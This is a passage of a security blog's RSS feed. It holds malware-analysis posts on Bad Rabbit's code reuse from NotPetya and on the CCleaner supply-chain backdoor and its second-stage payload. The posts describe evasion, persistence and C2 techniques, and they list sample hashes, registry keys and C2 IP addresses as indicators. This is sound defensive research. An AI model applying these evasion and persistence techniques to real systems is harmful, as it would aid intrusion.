on disk (&lt;code&gt;579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648&lt;/code&gt;)
also has a code connection with NotPetya samples. According to our technology,
we can see that 13% of the code has been reused. You can find the public report
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=notpetya-returns-bad-rabbit&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/d41e8a98-a106-4b4f-9b7c-fd9e2c80ca7d"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#badrabbit found to have 13% code reuse of #notpetya #petya here&amp;rsquo;s a public
report with the unpacked sample: &lt;a href="https://t.co/NOIul4yLVT"target="_blank" rel="noopener"&gt;https://t.co/NOIul4yLVT&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;— Jay Rosenberg (@jaytezer)
&lt;a href="https://x.com/jaytezer/status/922875751174758400?ref_src=twsrc%5Etfw"target="_blank" rel="noopener"&gt;October 24, 2017&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Below is a screenshot comparing a function (&lt;code&gt;0x1000777B&lt;/code&gt;) of NotPetya (&lt;code&gt;027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745&lt;/code&gt;) and a function (&lt;code&gt;0x1000733&lt;/code&gt;C) of the encryptor module of Bad Rabbit (&lt;code&gt;579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The next screenshot is of another matching function between the two samples.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As you can see in this attack, and in many other cases, malware authors constantly reuse their code. By recognizing code reuse, you force malware authors to rewrite code and come up with new techniques to avoid detection. This changes the playing field and makes it far less cost effective for malware authors and cyber crime organizations.&lt;/p&gt;
&lt;p&gt;IOCs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Evidence Aurora Operation Still Active Part 2: More Ties Uncovered Between CCleaner Hack &amp; Chinese Hackers</title><link>https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/</link><pubDate>Mon, 02 Oct 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/</guid><description>
&lt;p&gt;Since my
&lt;a href="../../../2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/"&gt;last post&lt;/a&gt;,
we have found new evidence in the next stage payloads of the CCleaner supply
chain attack that provide a stronger link between this attack and the Axiom
group.&lt;/p&gt;
&lt;p&gt;First of all, our researchers would like to thank the entire team at Cisco
Talos for their excellent work on this attack (their post regarding stage 2 can
be found
&lt;a href="http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html"target="_blank" rel="noopener"&gt;here&lt;/a&gt;) as
well as their cooperation by allowing us access to the stage 2 payload. Also,
we would like to give a special thanks to Kaspersky Labs for their
collaboration.&lt;/p&gt;
&lt;h2&gt;The Next Connection&lt;span class="hx:absolute hx:-mt-20" id="the-next-connection"&gt;&lt;/span&gt;
&lt;a href="#the-next-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Starting from the stage 2 payload, I reverse engineered the module, extracting
other hidden shellcode and binaries within. After uploading the different
binaries to Intezer Analyze™, the final payload (that I have access to) had a
match with a binary relating to the Axiom group.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;At first glance, I believed it was going to be the same custom base64 function
as mentioned in my
&lt;a href="../../../2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/"&gt;previous blog post&lt;/a&gt;.
A deeper look in the shared code proved otherwise.&lt;/p&gt;
&lt;p&gt;Binary in screenshot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Related APT17 samples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig2.jpg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Not only did the first payload have shared code between the Axiom group and
CCBkdr, but the second did as well. The above photo shows the same function
between two binaries. Let me put this into better context for you: out of all
the billions and billions of pieces of code (both trusted and malicious)
contained in the Intezer Code Genome Database, we found this code in only these
APTs. It is also worth noting that this isn’t a standard method one would use
to call an API. The attacker used the simple technique of employing an array to
hide a string from being in clear sight of those analyzing the binary (although
to those who are more experienced, it is obvious) and remain undetected from
antivirus signatures. The author probably copied and pasted the code, which is
what often happens to avoid duplicative efforts: rewriting the same code for
the same functionality twice.&lt;/p&gt;
&lt;p&gt;Due to the uniqueness of the shared code, we strongly concluded that the code
was written by the same attacker.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The stage two payload that was analyzed in this report (dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83), after launching the infected version of CCleaner, was dropped to only a selective group of targets, as reported by Talos. Although there is an x64 version, the following analysis will only include the x86 version because they are nearly identical. I will not be going too far in depth as full comprehension of the technical analysis will require an understanding of reverse engineering.&lt;/p&gt;
&lt;p&gt;Instead of using the typical API (VirtualAlloc) to allocate memory, the attackers allocated memory on the heap using LocalAlloc, and then copied a compressed payload to the allocated memory.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It looks like the attackers used version 1.1.4 of zlib to decompress the payload into this allocated memory region.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Depending on if you’re running x86 or x64 Windows, it will drop a different module. (32-bit &lt;code&gt;07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902&lt;/code&gt;, 64-bit &lt;code&gt;128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f&lt;/code&gt;) Both modules are actually legitimate software with additional code and a modified execution flow.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The last modified time on the modules is changed to match that of the msvcrt.dll that is located in your system32 folder–a technique to stay under the radar by not being able to check last modified files.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Some shellcode and another module are written to the registry.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After the module is successfully dropped, a service is created under the name Spooler or SessionEnv, depending upon your environment, which then loads the newly dropped module.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig9.png" alt="" loading="lazy" /&gt;
The new module being run by the service allocates memory, reads the registry where the other payload is located, and then copies it to memory
&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig10.png" alt="" loading="lazy" /&gt;
&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The next payload is executed, which decrypts another module and loads it. If we look at the memory of the next decrypted payload, we can see something that looks like a PE header without the MZ signature. From here, it is as simple as modifying the first two bytes to represent MZ and we have a valid PE file. (&lt;code&gt;f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The next module is a essentially another backdoor that connects to a few domains; before revealing the true IP, it will connect to for the next stage payload.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It starts by ensuring it receives the correct response from &lt;a href="https://www.microsoft.com"target="_blank" rel="noopener"&gt;https://www.microsoft.com&lt;/a&gt; and &lt;a href="https://update.microsoft.com"target="_blank" rel="noopener"&gt;https://update.microsoft.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware proceeds to decrypt two more URLs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig15.png" alt="" loading="lazy" /&gt;
&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig16.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware authors used steganography to store the IP address in a ptoken field of the HTML.&lt;/p&gt;
&lt;p&gt;Here you can see the GitHub page with the ptoken field.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The value is then XOR decrypted by &lt;code&gt;0x31415926&lt;/code&gt; which gives you &lt;code&gt;0x5A093B0D&lt;/code&gt; or the IP address: &lt;code&gt;13.59.9.90&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/images/fig18.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The complexity and quality of this particular attack has led our team to conclude that it was most likely state-sponsored. Considering this new evidence, the malware can be attributed to the Axiom group due to both the nature of the attack itself and the specific code reuse throughout that our technology was able to uncover.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Stage 2 Payload: dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83
x86 Trojanized Binary: 07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902
x86 Registry Payload: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a
x64 Trojanized Binary: 128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f
x64 Registry Payload: 75eaa1889dbc93f11544cf3e40e3b9342b81b1678af5d83026496ee6a1b2ef79
Registry Keys:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�01
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�02
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�03
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\�04
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Wbem\Perf\HBP&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner</title><link>https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/</link><pubDate>Wed, 20 Sep 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/</guid><description>
&lt;p&gt;Recently, there have been a few attacks with a supply chain infection, such as
&lt;a href="https://securelist.com/shadowpad-in-corporate-networks/81432/"target="_blank" rel="noopener"&gt;Shadowpad&lt;/a&gt;
being implanted in many of Netsarang’s products, affecting millions of people.
You may have the most up to date cyber security software, but when the software
you are trusting to keep you protected gets infected there is a problem. A
backdoor, inserted into legitimate code by a third party with malicious intent,
leads to millions of people being hacked and their information stolen.&lt;/p&gt;
&lt;p&gt;Avast’s CCleaner software had a backdoor encoded into it by someone who had
access to the supply chain. Through somewhere that had access to the source
code of CCleaner, the main executable in v5.33.6162 had been modified to
include a backdoor. The official statement from Avast can be found
&lt;a href="https://blog.avast.com/update-to-the-ccleaner-5.33.6162-security-incident"target="_blank" rel="noopener"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;The Big Connection&lt;span class="hx:absolute hx:-mt-20" id="the-big-connection"&gt;&lt;/span&gt;
&lt;a href="#the-big-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Costin Raiu, director of Global Research and Analysis Team at Kaspersky Lab,
was the first to find a code connection between APT17 and the backdoor in the
infected CCleaner:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The malware injected into #CCleaner has shared code with several tools used
by one of the APT groups from the #Axiom APT &amp;lsquo;umbrella&amp;rsquo;.&lt;/p&gt;
&lt;p&gt;— Costin Raiu (@craiu)
&lt;a href="https://x.com/craiu/status/910059453948579840?ref_src=twsrc%5Etfw"target="_blank" rel="noopener"&gt;September 19, 2017&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using Intezer Analyze™, we were able to verify the shared code between the
backdoor implanted in CCleaner and earlier APT17 samples. The photo below is
the result of uploading the CCBkdr module to Intezer Analyze™, where the
results show there is an overlap in code. With our technology, we can compare
code to a huge database of malicious and trusted software — that’s how we can
prove that this code has never been seen before in any other software.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;A deeper analysis leads us to the functions shown below. The code in question
is a unique implementation of base64 only previously seen in APT17 and not in
any public repository, which makes a strong case about attribution to the same
threat actor.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig2.jpg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This code connection is huge news. APT17, also known as
&lt;a href="../../../2017/10/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/"&gt;Operation Aurora&lt;/a&gt;,
is one of the most sophisticated cyber attacks ever conducted and they
specialize in supply chain attacks. In this case, they probably were able to
hack CCleaner’s build server in order to plant this malware. Operation Aurora
started in 2009 and to see the same threat actor still active in 2017 could
possibly mean there are many other supply chain attacks by the same group that
we are not aware of. The previous attacks are attributed to a Chinese group
called PLA Unit 61398.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The infected CCleaner file that begins the analysis is from
&lt;code&gt;6f7840c77f99049d788155c1351e1560b62b8ad18ad0e9adda8218b9f432f0a9&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A technical analysis was posted by Talos
&lt;a href="http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The flow-graph of the malicious CCleaner is as follows (taken from the Talos
report):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Infected function:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig4.png" title="Infected function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Infected function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Load and execute the payload code:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig5.png" title="Load and execute the payload code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Load and execute the payload code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After the embedded code is decrypted and executed, the next step is a PE
(portable executable) file loader. A PE file loader basically emulates the
process of what happens when you load an executable file on Windows. Data is
read from the PE header, from a module created by the malware author.&lt;/p&gt;
&lt;p&gt;The PE loader first begins by resolving the addresses of imports commonly used
by loaders and calling them. GetProcAddress to get the addresses of external
necessary functions, LoadLibraryA to load necessary modules into memory and get
the address of the location of the module in memory, VirtualAlloc to create
memory for somewhere to copy the memory, and in some cases, when not
implemented, and memcpy to copy the buffer to the newly allocated memory
region.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/09/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/images/fig6.png" title="The PE loader" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The PE loader&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After the module is copied to memory, to load it properly, the proper loading
procedure is executed. The relocation table is read to adjust the module to the
base address of the allocated memory region, the import table is read, the
necessary libraries are loaded, and the import address table is filled with the
correct addresses of the imports. Next, the entire PE header is overwritten
with 0’s, a mechanism to destroy the PE header tricking security software into
not realizing this module is malicious, and after the malicious code begins
execution.&lt;/p&gt;
&lt;p&gt;The main module does the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Tries an anti-debug technique using time and IcmpSendEcho to wait&lt;/li&gt;
&lt;li&gt;Collect data about the computer (Operating system, computer name, DNS
domain, running processes, etc)&lt;/li&gt;
&lt;li&gt;Allocates memory for payload to retrieve from C&amp;amp;C server&lt;/li&gt;
&lt;li&gt;Contacts C&amp;amp;C server at IP address &lt;code&gt;216.126.225.148&lt;/code&gt;. If this IP address is
unreachable, uses a domain generation algorithm and uses a different domain
depending on the month and year&lt;/li&gt;
&lt;li&gt;Executes code sent by C&amp;amp;C&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;By the time of the analysis, we were unable to get our hands on the code sent
by the C&amp;amp;Cs.&lt;/p&gt;
&lt;p&gt;If you would like to analyze the malware yourself, you may refer to my tweet.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#ccleaner malware DLL w/ IAT fix &lt;a href="https://t.co/FprmtmkV64"target="_blank" rel="noopener"&gt;https://t.co/FprmtmkV64&lt;/a&gt;
&lt;a href="https://t.co/dgWiQVd31k"target="_blank" rel="noopener"&gt;https://t.co/dgWiQVd31k&lt;/a&gt; @TalosSecurity @malwrhunterteam
pic.twitter.com/TxsbveFoHJ&lt;/p&gt;
&lt;p&gt;— Jay Rosenberg (@jaytezer) September 18, 2017&lt;/p&gt;
&lt;/blockquote&gt;</description></item></channel></rss>